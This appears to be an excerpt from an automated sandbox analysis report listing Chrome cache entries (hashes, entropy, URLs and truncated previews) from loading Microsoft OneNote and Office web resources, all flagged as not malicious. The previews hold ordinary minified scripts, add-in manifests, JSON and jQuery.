Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/1033/onenote-navpane-strings.min.js
Preview:	var OnenoteNavpaneStrings={AddPage:"Add page",AriaAddPage:"Add page",AddSection:"Add section",AriaAddSection:"Add section",AriaCollapseNotebookLabel:"Select to go back to the section and page navigation.",AriaPageLabel:"Page. Select to open page contents.",AriaSelectedPageLabel:"Page. Selected. Press Ctrl + F6 to navigate to page contents.",AriaSectionLabel:"Section. Select to switch to this section.",AriaSelectedSectionLabel:"Section. Selected. Press Ctrl + F6 to navigate to page list of the section.",AriaSectionGroupLabel:"Section Group. Select to expand and display inner sections.",AriaVersionLabel:"Version. Select to open version contents.",AriaSelectedVersionLabel:"Version. Selected. Press Ctrl + F6 to navigate to version contents.",AriaConflictLabel:"Conflict. Select to open conflict page contents.",AriaSelectedConflictLabel:"Conflict. Selected. Press Ctrl + F6 to navigate to conflict page contents.",AriaNotebookLabel:"Notebook. Select to switch to this notebook.",AriaNavpaneLabe

Chrome Cache Entry: 418

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (22010)
Category:	dropped
Size (bytes):	22064
Entropy (8bit):	4.682868670437469
Encrypted:	false
SSDEEP:	384:JY4GO9OuOPgOyOKOEOuOjOeOsO6SOYOIOE:JsO9OuO4OyOKOEOuOjOeOsOlOYOIOE
MD5:	C5E5AF3E566863CC521E9AC58F82305F
SHA1:	EF9A8CE0980E73F7DF4FF51D8CFF68E8FCA2F6E2
SHA-256:	5AD6073D9E96064AFF3B050FC9CBF896878BE17457DC02130FCFA63937E334F0
SHA-512:	2A4115572047050BFFB12EB3DE200A6279802CD8B6C39FD4CB42D1E5A1BE34ED4B5F0071A4BC2BE8D1461B9C6656F46329BD5C491F18A2ACB4222A151EED8281
Malicious:	false
Preview:	"use strict";(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[814],{47212:function(a,i,t){t.r(i),t.d(i,{default:function(){return n}});var x=t(95202);const e=t(72540),r=new x.U("oreo-loadingSpinner");class s{static getData(){return new Promise(((a,i)=>{a(t(29717))}))}}var k=null;class n{static startAnimation(){const a="OreoLoadingSpinner",i=document.getElementById("WACPageLoadingIndicator");if(i){if(k&&window.clearTimeout(k),k=window.setTimeout((()=>{document.getElementById(a)&&r.warningTag(591407137,"OneNote Oreo Spinner is active for too long 30000")}),3e4),!this.spinner)return new Promise(((t,x)=>{r.infoTag(591407138,"OneNote Oreo Spinner is loading."),s.getData().then((t=>{let x=document.createElement("span");x.id=a,x.className="oreoLoadingSpinner",i.insertBefore(x,i.firstChild);let r={container:x,renderer:"svg",loop:!0,autoplay:!0,animationData:t};this.spinner=e.loadAnimation(r),this.spinner.play()})).catch((a=>{r.errorTag(591407139,"Error while loading O

Chrome Cache Entry: 419

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 420

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	downloaded
Size (bytes):	9258
Entropy (8bit):	5.806838074326134
Encrypted:	false
SSDEEP:	96:yA0JNQoxbu9xsW4guOCrae6aakWLAnHx4FbqdyjeBR56o8ykHVPAI5em1LQxhcA3:vCJ3xnWLiR4kcS56oW1PAI5eVtPh
MD5:	5FBC6BB137EA2316DEFE300913A950DF
SHA1:	29464B148AE54621A4AAD4F7742A2A05BE6517E3
SHA-256:	82553839D3ECC08D5F9DDF58F9F466B88BFC614F9613DB9525B0E7037BF6843C
SHA-512:	D0E0EB529A240E5ED9F24E7F34AA86AB60734285596B531B36623D56867375523F6BB4CD32D4FE906572EBED129A0595DE315B5B6DD9F46AEE5342048352C5E7
Malicious:	false
URL:	https://fa000000138.resources.office.net/033f92d3-bc6d-439a-858a-a17acf70360a/1.0.2409.12011/en-us_web/manifest_web.xml
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0".. xmlns:ov="http://schemas.microsoft.com/office/taskpaneappversionoverrides" xsi:type="TaskPaneApp">.. <Id>54fe4e50-e89c-412b-a034-143b547f9c5d</Id>.. <Version>1.0.0.0</Version>.. <ProviderName>Microsoft</ProviderName>.. <DefaultLocale>en-US</DefaultLocale>.. <DisplayName DefaultValue="Meeting Details">.. <Override Locale="af-ZA" Value="Vergaderingbesonderhede" />.. <Override Locale="am-ET" Value="..... ....." />.. <Override Locale="ar-SA" Value="...... ........" />.. <Override Locale="as-IN" Value="...... ....-....." />.. <Override Locale="az-Latn-AZ" Value="Toplant. T.f.rr.atlar." />.. <Override Locale="be-BY" Value="..........

Chrome Cache Entry: 421

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (60197)
Category:	downloaded
Size (bytes):	60238
Entropy (8bit):	5.399771208271399
Encrypted:	false
SSDEEP:	768:E25lwLErOuMYvMVjDK/AwJaAgwBY1mVBhYhLeaeWjopjCmW2TPkMeN40IbJrbrXH:E25TJPBh2engQeimaf63pBBZ9HHVG
MD5:	E01FFDF881BE6EE55465D981D9A932CF
SHA1:	D30134C757C94DB9D8F18EFEB14432DA60468D39
SHA-256:	563FBA440CB645E242FE821A24B50E6F5D26CA248765E29DAFC2EDCA7299410E
SHA-512:	6F8FEAB537CFFF463FE0017F1467CE8BABF8BEF374BC3D6EC32F1E1FCCA22116AC3B72A583F4A832490C3900849973CB279D784486002923D699873C98109590
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/wp5/oreolazy.min.js
Preview:	"use strict";function _define_property(e,t,i){return t in e?Object.defineProperty(e,t,{value:i,enumerable:!0,configurable:!0,writable:!0}):e[t]=i,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var i=null!=arguments[t]?arguments[t]:{},n=Object.keys(i);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(i).filter((function(e){return Object.getOwnPropertyDescriptor(i,e).enumerable})))),n.forEach((function(t){_define_property(e,t,i[t])}))}return e}(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[658],{81221:function(e,t){var i;Object.defineProperty(t,"__esModule",{value:!0}),(i=t._BondDataType\|\|(t._BondDataType={}))[i._BT_STOP=0]="_BT_STOP",i[i._BT_STOP_BASE=1]="_BT_STOP_BASE",i[i._BT_BOOL=2]="_BT_BOOL",i[i._BT_DOUBLE=8]="_BT_DOUBLE",i[i._BT_STRING=9]="_BT_STRING",i[i._BT_STRUCT=10]="_BT_STRUCT",i[i._BT_LIST=11]="_BT_LIST",i[i._BT_MAP=13]="_BT_MAP",i[i._BT_INT32=16]="_BT_INT32",i[i._BT_INT64=17]="_BT_INT64"},

Chrome Cache Entry: 422

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	56
Entropy (8bit):	4.677279698572885
Encrypted:	false
SSDEEP:	3:beiCkj7ugjfMlkk2SY:behw7ugjfDk2r
MD5:	DA69159E7EC38222D30F02FAE3F5B795
SHA1:	A25E1C206C6EF0DC1E82AB5D715E56A1EFE3BDE4
SHA-256:	77E2C43DFDEBA7EA496189A7D4DA3A22EDA4CCE35B6246260698A60B141972EE
SHA-512:	C08E416F8F47F95A258951568995689805AEFDD04A95AB52E8FDA790441BD3A1FC76209885F81132772AA6ED41E216DFE541AE0151975481DA3D190246D0FA29
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSFwkvQ2-lAXZCYxIFDdjY4LISBQ11LGDrEhcJurgal7crdicSBQ3Y2OCyEgUNdSxg6w==?alt=proto
Preview:	ChIKBw3Y2OCyGgAKBw11LGDrGgAKEgoHDdjY4LIaAAoHDXUsYOsaAA==

Chrome Cache Entry: 423

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (616)
Category:	dropped
Size (bytes):	2395280
Entropy (8bit):	5.621813735147151
Encrypted:	false
SSDEEP:	49152:nrQmdFrRkL1r7sFBTrlj2yV9YwWoTNUYsT91AZNcS90KLuQ7zwxugpZvucfcm9A1:lX
MD5:	00A1160C879D7DC00D9A8693B6899A2F
SHA1:	6B8E243B8B5B44EFDA496BBE178DC8153B4F982E
SHA-256:	0FB5855C124A1DC24D40900CF3C8A1F2091088394A28612BC9C3E2DCC06E1D3B
SHA-512:	7D886D9571C6A5AD5952A412ECE39767BE1AE94260456BF12DBEEB4925A4255328FFCEDD991B3AE1E3F4A47E06C3114E844FF38C3890CFAF05576ED70CC6ADFE
Malicious:	false
Preview:	'use strict';(globalThis.dullscriptWebpackJsonp=globalThis.dullscriptWebpackJsonp\|\|[]).push([[2],{51490:function(ya,Sa,H){function Ba(ea){var da={costPriority:1,samplingPolicy:1,persistencePriority:1,dataCategories:0,diagnosticLevel:100};ea.eventFlags&&ea.eventFlags.dataCategories\|\|(0,O.b)(0,0,function(){return"DataCategories"});if(!ea.eventFlags)return da;ea.eventFlags.costPriority&&(da.costPriority=ea.eventFlags.costPriority);ea.eventFlags.samplingPolicy&&(da.samplingPolicy=ea.eventFlags.samplingPolicy);.ea.eventFlags.persistencePriority&&(da.persistencePriority=ea.eventFlags.persistencePriority);ea.eventFlags.dataCategories&&(da.dataCategories=ea.eventFlags.dataCategories);ea.eventFlags.diagnosticLevel&&(da.diagnosticLevel=ea.eventFlags.diagnosticLevel);return da}function Fa(ea,da,ba,ua,la,ha,ia,Y,fa,ma,ta){ua.forEach(function(S){ea.sendTelemetryEvent({eventName:da.name+".Qos.Error."+ba,eventFlags:{diagnosticLevel:110},dataFields:(0,Q.wQc)((0,Q.wQc)([],t.g.By({ieg:S,FOf:la,isIntenti

Chrome Cache Entry: 424

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	220858
Entropy (8bit):	5.627514521924271
Encrypted:	false
SSDEEP:	3072:lPtUzlV8et03/a5ppR9e1h722VtnNRaAOsyjcrM6SkPV:96zfPt03y519e1FVtbaIOkt
MD5:	4015DAD6F999BE9E8CD244F9697DBB6D
SHA1:	F33976CAA136D6C90B73F1BCB4908C3BB06FD0ED
SHA-256:	3AC57C0E9D926E64A8E2A561B29B739327CC2007357612B507D72FAF6FC06A08
SHA-512:	8570A558441E112B3A6208955784962CA88E2BE33016D53BADB50196EA7CC6E531842632D0005930EA2EA0D001AF158BDEA76F21120562AF09D50F2F5F39A793
Malicious:	false
Preview:	var TellMeModel={"m":{"":76},"t":[0,7,7,7,7,7,7,7,7,7,7,7,7,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,7,2,10,10,10,7,4,4,4,4,4,4,4,4,4,4,7,7,7,7,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,7,7,7],"n":[338,425,428,431,434,437,440,444,447,450,453,456,459,462,483,512,521,530,539,552,565,574,583,592,601,614,627,640,653,666,679,688,701,714,727,736,749,762,775,788,801,814,827,843,861,885,909,930,959,980,993,1006,1026,1047,1057,1067,1088,1097,1107,1116,1126,1136,1157,1191,1196,1201,12

Chrome Cache Entry: 425

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11667), with no line terminators
Category:	downloaded
Size (bytes):	11667
Entropy (8bit):	4.97980937003193
Encrypted:	false
SSDEEP:	192:cHGtlNF+JzgGuA3pNvWAPsYmiT398yRFXiBpiiBlVIkslsunbe4uGfEinAMj9fsh:T/kpldNhVVimx+8mkKDypJBJeJjxQSlT
MD5:	A1D892F1368C7F3B1DFB75057B936B66
SHA1:	91EC4980BFA5B301199B574E6240A618247679F9
SHA-256:	2DB70125E37F651D09A6D03D593A65E09668E6267CCA1257251328517F7EAEFC
SHA-512:	F2834E3B673CF7BFBABF9A92A0D4524F5696996CA67EBD6605F08206C95C3DCCE3AB95E4297452186074EB92827BFA4D811A61959EBA60544393BA14F4C7A3B9
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/1033/osfruntime_strings.js
Preview:	Type.registerNamespace("Strings");Strings.OsfRuntime=function(){};Strings.OsfRuntime.registerClass("Strings.OsfRuntime");Strings.OsfRuntime.L_ActivateAttempLoading_ERR="This add-in may not load properly, but you can still try to start it.";Strings.OsfRuntime.L_ActivateAttempLoading_ERR_FirstParty="This feature may not load properly, but you can still try to start it.";Strings.OsfRuntime.L_ActivateButton_TXT="Start";Strings.OsfRuntime.L_AddinCommands_AddinNotSupported_Message="Your add-in manifest is not valid.";Strings.OsfRuntime.L_AddinCommands_LearnMore_Link="Learn more.";Strings.OsfRuntime.L_AddinsCatalogIframeTitle_TXT="Office Add-ins catalog iframe";Strings.OsfRuntime.L_AgaveActivationError_ERR="Something went wrong and we couldn't start this add-in. Please try again later or contact your system administrator.";Strings.OsfRuntime.L_AgaveActivationError_ERR_FirstParty="Something went wrong and we couldn't start this feature. Please try again later or contact your system administrat

Chrome Cache Entry: 426

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	969
Entropy (8bit):	5.171349633572766
Encrypted:	false
SSDEEP:	24:2dQ4+A88T+Uy8+QQIWZdgIQAEJAoImLFJ1o02ev+Es:cWA886hPtIWkIQlJwUFJ1o05v+d
MD5:	5E6EDC73470FF3E746BC8BDAC6FB38B2
SHA1:	7DFA441D001FE0B50A5F6ED6102479662D2497DF
SHA-256:	71344C4AACBC26401DD2CFDCDB7C16625B423B4E710A0030A65D90B7E16F602D
SHA-512:	F3186C5204BAE1523433CDB852732390E02864AE37CF0E39175A369E712D6101D6486C1B3B0BE031D1A3072963C251BC7F251048D172FF71081DF92A79C8132D
Malicious:	false
URL:	https://fa000000110.resources.office.net/033f92d3-bc6d-439a-858a-a17acf70360a/1.0.0.5/en-us_web/manifest_web.xml
Preview:	<?xml version="1.0" encoding="utf-8"?>..<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0".. xmlns:contentappor="http://schemas.microsoft.com/office/contentappversionoverrides".. xsi:type="ContentApp">.... <Id>bf3a711e-f669-4fd5-8d73-100223695f2a</Id>.. <Version>1.0.0.4</Version>.. <ProviderName>lijia</ProviderName>.. <DefaultLocale>en-US</DefaultLocale>.. The display name of your add-in. Used on the store and various placed of the Office UI such as the add-ins dialog -->.. <DisplayName DefaultValue="Office first party apps" />.. <Description DefaultValue="Office first party apps" />.... <Hosts>.. <Host Name="Document"/>.. </Hosts>.... <DefaultSettings>.. <SourceLocation DefaultValue="index.html" />.. </DefaultSettings>.... <Permissions>ReadWriteDocument</Permissions>..</OfficeApp>

Chrome Cache Entry: 427

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	89493
Entropy (8bit):	5.289599913770796
Encrypted:	false
SSDEEP:	1536:YjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h5cApwEjOPrBeU6QLiTFbc0QlQvakF:YYh8eip3hXuf6IidlrvakdtQ47GK1
MD5:	12108007906290015100837A6A61E9F4
SHA1:	1D6AE46F2FFA213DEDE37A521B011EC1CD8D1AD3
SHA-256:	C4DCCDD9AE25B64078E0C73F273DE94F8894D5C99E4741645ECE29AEEFC9C5A4
SHA-512:	93658F3EB4A044523A7136871E125D73C9005DA44CE09045103A35A4F18695888ECAFE2F9C0D0FA741B95CC618C6000F9AD9AFFC821A400EA7E5F2C0C8968530
Malicious:	false
URL:	https://ajax.aspnetcdn.com/ajax/jQuery/jquery-3.5.0.min.js
Preview:	/! jQuery v3.5.0 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 428

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (12695)
Category:	dropped
Size (bytes):	1336631
Entropy (8bit):	5.487199543462852
Encrypted:	false
SSDEEP:	24576:wL6eIbGhMkJTkjucy2jhfQHe3JQ6tyP7SsqYaHAAYWTAxQtdG/DrAi:wL6eWGhMkJTkjucy2jhfQHe3JQ6tyP7V
MD5:	2FCED6E6CD0963580F963BC4C20EE1B6
SHA1:	92AE09CA220AEBB5DB448911AAABEEB28D688E9E
SHA-256:	2D409FB1116C9A18791011CAF0B2AB2AB5C5F19CAF91C54BBF39BF7FF5DED27D
SHA-512:	1F60E52E9BE6FE29D05A5F19BEC538CDEE5AC2E937752BE52F38C2F0070694906C6D83AC1B871A5640C4D271B57F973DBDE6AC100854E53F1F52C83F7E6F978E
Malicious:	false
Preview:	!function(){var e,t,r,n,o,a={4676:function(e,t){e.exports={Form:{Cancel:()=>"Cancel",CommentPlaceholder:()=>"Please do not include any confidential or personal information in your comment",EmailPlaceholder:()=>"Email (optional)",Submit:()=>"Send",Title:()=>"Feedback to Microsoft",TemplateErrorMessage:()=>"One or more questions are required or the input is not valid"},Questions:{ContactMeQuestion:()=>"You may contact me about this feedback"},Common:{LoadingText:()=>"Loading, please wait..."},Error:{ErrorMessage:()=>"Survey failed to load"}};},6870:function(e,t){e.exports={CloseLabel:()=>"Close dialog",EmailTextFieldPlaceholder:()=>"Email (optional)",EmailTextFieldInputError:()=>"Email address is invalid",CommentTextFieldPlaceholder:()=>"Please do not include any confidential or personal information in your comment",CommentTextFieldMaxLengthText:e=>"."+e.remainingMaxLength+". of ."+e.maxLength+". characters remaining",EmailConsentCheckboxLabel:()=>"You can contact me about this f

Chrome Cache Entry: 429

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (22010)
Category:	downloaded
Size (bytes):	22064
Entropy (8bit):	4.682868670437469
Encrypted:	false
SSDEEP:	384:JY4GO9OuOPgOyOKOEOuOjOeOsO6SOYOIOE:JsO9OuO4OyOKOEOuOjOeOsOlOYOIOE
MD5:	C5E5AF3E566863CC521E9AC58F82305F
SHA1:	EF9A8CE0980E73F7DF4FF51D8CFF68E8FCA2F6E2
SHA-256:	5AD6073D9E96064AFF3B050FC9CBF896878BE17457DC02130FCFA63937E334F0
SHA-512:	2A4115572047050BFFB12EB3DE200A6279802CD8B6C39FD4CB42D1E5A1BE34ED4B5F0071A4BC2BE8D1461B9C6656F46329BD5C491F18A2ACB4222A151EED8281
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/wp5/onenoteloadingspinner.min.js
Preview:	"use strict";(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[814],{47212:function(a,i,t){t.r(i),t.d(i,{default:function(){return n}});var x=t(95202);const e=t(72540),r=new x.U("oreo-loadingSpinner");class s{static getData(){return new Promise(((a,i)=>{a(t(29717))}))}}var k=null;class n{static startAnimation(){const a="OreoLoadingSpinner",i=document.getElementById("WACPageLoadingIndicator");if(i){if(k&&window.clearTimeout(k),k=window.setTimeout((()=>{document.getElementById(a)&&r.warningTag(591407137,"OneNote Oreo Spinner is active for too long 30000")}),3e4),!this.spinner)return new Promise(((t,x)=>{r.infoTag(591407138,"OneNote Oreo Spinner is loading."),s.getData().then((t=>{let x=document.createElement("span");x.id=a,x.className="oreoLoadingSpinner",i.insertBefore(x,i.firstChild);let r={container:x,renderer:"svg",loop:!0,autoplay:!0,animationData:t};this.spinner=e.loadAnimation(r),this.spinner.play()})).catch((a=>{r.errorTag(591407139,"Error while loading O

Chrome Cache Entry: 430

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (30298)
Category:	downloaded
Size (bytes):	105812
Entropy (8bit):	5.391818966916497
Encrypted:	false
SSDEEP:	1536:tnhDmh5cMFNj1rdW3b3hiiE0a8f7ylAbOgUVD:Jdmh5cMFN1ra3hZy8OQOD
MD5:	4EDE79987F52C99D7B570FE77436747E
SHA1:	B9C4251C30ADBAE5F6BD532F37109E82DA414E7C
SHA-256:	715D8C6EC761B3051A58AC9EE1AB704F7C3587F31159C289372A30AE5103F2F2
SHA-512:	582DA4533516084811FC7ED2C03F7E80226C6376C2C10E1334188D8C975B6A84647257E96CEC12CA5FBDCC487555969D39D9151486E54498BF11ACEED45420BF
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/suiteux-shell/js/suiteux.shell.otellogging.js
Preview:	var shellPerformance=window.performance,HighResolutionTimingSupported=!!shellPerformance&&"function"==typeof shellPerformance.mark;HighResolutionTimingSupported&&shellPerformance.mark("shell_otellogging_start"),(self["suiteux_shell_webpackJsonp_suiteux-main"]=self["suiteux_shell_webpackJsonp_suiteux-main"]\|\|[]).push([["otellogging"],{69691:function(n,t,e){var r=e(92855),i=e(41230),o=e(54800),u=e(59177),a=e(68128),c=e(78939),s=e(85788),f=e(69988),l=e(25855),d=function(n){function t(){var e=n.call(this)\|\|this;return e.pluginVersionStringArr=[],(0,i.A)(t,e,(function(n,t){n.logger&&n.logger.queue\|\|(n.logger=new o.wq({loggingLevelConsole:1})),n.initialize=function(e,r,i,s){(0,u.r2)(n,(function(){return"AppInsightsCore.initialize"}),(function(){var u=n.pluginVersionStringArr;if(e){e.endpointUrl\|\|(e.endpointUrl=f.S);var l=e.propertyStorageOverride;!l\|\|l.getProperty&&l.setProperty\|\|(0,a.$8)("Invalid property storage override passed."),e.channels&&(0,a.Iu)(e.channels,(function(n){n&&(0,a.Iu)(n,

Chrome Cache Entry: 431

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
Preview:	{}

Chrome Cache Entry: 432

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20116), with no line terminators
Category:	dropped
Size (bytes):	20116
Entropy (8bit):	5.265227006593126
Encrypted:	false
SSDEEP:	384:uCYdXBag5QAdRLxUSkgRfku5ro+PZCewau6Y:K5Z7LKocu5ro+PZCdau6Y
MD5:	EDF023B23DC08C7C90BA27A3BDE7480B
SHA1:	0F03EDBE6BDA20C20251EFF9DB86359EB5155F66
SHA-256:	7337ED6220111758E61F3BE5060AE9A807D83EDF05D5F7CC92B0B85E34A5FEF3
SHA-512:	93450345EE48033238467EF1BA3550F3C2FACA5C07178B1E7AAB989A4C845D7D87FC25FC33AAF431CBF1AEA5B9C3FE6619A8045B066DB5B239197072029E0740
Malicious:	false
Preview:	!function(a){"function"==typeof define&&define.amd?define("picker",["jquery"],a):"object"==typeof exports?module.exports=a(require("jquery")):this.Picker=a(jQuery)}(function(a){function b(f,g,h,k){function l(){return b._.node("div",b._.node("div",b._.node("div",b._.node("div",w.component.nodes(r.open),t.box),t.wrap),t.frame),t.holder)}function m(){u.data(g,w).addClass(t.input).val(u.data("value")?w.get("select",s.format):f.value).on("focus."+r.id+" click."+r.id,p),s.editable\|\|u.on("keydown."+r.id,function(a){var b=a.keyCode,c=/^(8\|46)$/.test(b);return 27==b?(w.close(),!1):void((32==b\|\|c\|\|!r.open&&w.component.key[b])&&(a.preventDefault(),a.stopPropagation(),c?w.clear().close():w.open()))}),e(f,{haspopup:!0,expanded:!1,readonly:!1,owns:f.id+"_root"+(w._hidden?" "+w._hidden.id:"")})}function n(){w.$root.on({focusin:function(a){w.$root.removeClass(t.focused),a.stopPropagation()},"mousedown click":function(b){var c=b.target;c!=w.$root.children()[0]&&(b.stopPropagation(),"mousedown"!=b.type\|

Chrome Cache Entry: 433

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	220858
Entropy (8bit):	5.627514521924271
Encrypted:	false
SSDEEP:	3072:lPtUzlV8et03/a5ppR9e1h722VtnNRaAOsyjcrM6SkPV:96zfPt03y519e1FVtbaIOkt
MD5:	4015DAD6F999BE9E8CD244F9697DBB6D
SHA1:	F33976CAA136D6C90B73F1BCB4908C3BB06FD0ED
SHA-256:	3AC57C0E9D926E64A8E2A561B29B739327CC2007357612B507D72FAF6FC06A08
SHA-512:	8570A558441E112B3A6208955784962CA88E2BE33016D53BADB50196EA7CC6E531842632D0005930EA2EA0D001AF158BDEA76F21120562AF09D50F2F5F39A793
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/1033/OneNoteSimplified.Wac.TellMeModel.js
Preview:	var TellMeModel={"m":{"":76},"t":[0,7,7,7,7,7,7,7,7,7,7,7,7,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,7,2,10,10,10,7,4,4,4,4,4,4,4,4,4,4,7,7,7,7,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,7,7,7],"n":[338,425,428,431,434,437,440,444,447,450,453,456,459,462,483,512,521,530,539,552,565,574,583,592,601,614,627,640,653,666,679,688,701,714,727,736,749,762,775,788,801,814,827,843,861,885,909,930,959,980,993,1006,1026,1047,1057,1067,1088,1097,1107,1116,1126,1136,1157,1191,1196,1201,12

